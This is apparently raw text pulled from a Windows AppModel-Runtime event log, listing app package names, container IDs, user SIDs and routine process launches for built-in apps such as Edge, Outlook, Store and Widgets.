MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin onecore\ds\security\gina\profile\profext\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin onecore\ds\security\gina\profile\profext\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost 5http://schemas.microsoft.com/win/2004/08/events/event "Microsoft-Windows-AppModel-Runtime &{f1ef270a-0d32-4352-ba52-dbab41e1d859} (Microsoft-Windows-AppModel-Runtime/Admin DESKTOP-8GBP982 ProcessingErrorData ErrorCode DataItemName EventPayload PsmFlagsMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin PackageName ContainerName ContainerId MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy-S-1-5-21-3914889805-4071901059-918772286-1000 {CA419098-0EC0-11F1-B1F8-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin ProcessID PackageName ContainerId MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ca419098-0ec0-11f1-b1f8-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin ProcessID PackageName ImageName ApplicationName Message MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy CrossDeviceResume.exe MicrosoftWindows.Client.CBS_cw5 Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.RawImageExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MSTeams_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.CrossDevice_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.YourPhone_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Xbox.TCUI_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin EventData Data AppContainerName Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsCamera_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsCalculator_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.Photos_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.DevHome_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WebpImageExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WebMediaExtensions_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.OutlookForWindows_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.HEVCVideoExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.HEIFImageExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.GetHelp_8wekyb3d8bbwe 5http://schemas.microsoft.com/win/2004/08/events/event "Microsoft-Windows-AppModel-Runtime &{f1ef270a-0d32-4352-ba52-dbab41e1d859} (Microsoft-Windows-AppModel-Runtime/Admin Windows11 ProcessingErrorData ErrorCode DataItemName EventPayload PsmFlagsMicrosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin PackageName ContainerName ContainerId Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {AB9A77BB-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin ProcessID PackageName ContainerId Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe ab9a77bb-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin ProcessID PackageName ImageName ApplicationName Message Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe olkFullTrustExecutor.exe Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows [LaunchProcess] Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin PackageName ContainerId Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe {AB9A77BB-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.GamingApp_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.BingWeather_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.BingSearch_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.BingNews_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AV1VideoExtension_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Clipchamp.Clipchamp_yxz26nhyzhsrt PsmFlagsMicrosoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe identity_helper.exe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App [FinishPackageActivation] Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ab9a76b8-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {AB9A780B-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe ab9a780b-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe ab9a780b-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe ab9a780b-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe ab9a780b-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe {AB9A780B-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe {AB9A771F-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.VCLibs.140.00_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.VCLibs.140.00.UWPDesktop_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Paint_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsNotepad_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {AB9A791C-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe ab9a791c-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {AB9A7921-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe ab9a7921-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.UI.Xaml.2.8_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.UI.Xaml.2.8_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsStore_8wekyb3d8bbwe PsmFlagsMicrosoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft.WindowsStore_8wekyb3d8bbwe!App Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {AB9A793B-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe ab9a793b-0f16-11f1-b1fd-000c29f29c8b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe StoreDesktopExtension.exe Microsoft.WindowsStore_8wekyb3d8bbwe!App [LaunchProcess] Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe {AB9A793B-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.ScreenSketch_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.LockApp_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.SecHealthUI_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe {AB9A791C-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy {AB9A76B8-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy {AB9A76E6-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe {AB9A7921-0F16-11F1-B1FD-000C29F29C8B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin onecore\ds\security\gina\profile\profext\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin onecore\ds\security\gina\profile\profext\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost PsmFlagsMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy-S-1-5-21-3914889805-4071901059-918772286-1001 {A0955DCA-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy a0955dca-1156-11f1-b1fe-000c291b6c9b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy CrossDeviceResume.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp [LaunchProcess] Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy-S-1-5-21-3914889805-4071901059-918772286-1001 {A0955DF6-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy a0955df6-1156-11f1-b1fe-000c291b6c9b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {A0955E0D-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe a0955e0d-1156-11f1-b1fe-000c291b6c9b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {A0955E1A-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe a0955e1a-1156-11f1-b1fe-000c291b6c9b PsmFlagsMicrosoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe identity_helper.exe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App [FinishPackageActivation] PsmFlagsMicrosoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe identity_helper.exe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App [FinishPackageActivation] PsmFlagsMicrosoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe identity_helper.exe Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App [FinishPackageActivation] Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe {A0955E0D-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe {A0955E1A-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy {A0955DF6-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy {A0955DCA-1156-11F1-B1FE-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin onecore\ds\security\gina\profile\profext\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin onecore\ds\security\gina\profile\profext\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost PsmFlagsMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy-S-1-5-21-3914889805-4071901059-918772286-1001 {A043F07D-1157-11F1-B1FF-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy a043f07d-1157-11f1-b1ff-000c291b6c9b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy CrossDeviceResume.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp [LaunchProcess] Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy-S-1-5-21-3914889805-4071901059-918772286-1001 {A043F0BA-1157-11F1-B1FF-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy a043f0ba-1157-11f1-b1ff-000c291b6c9b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 {A043F0D7-1157-11F1-B1FF-000C291B6C9B} Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe a043f0d7-1157-11f1-b1ff-000c291b6c9b Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe-S-1-5-21-3914889805-4071901059-918772286-1001 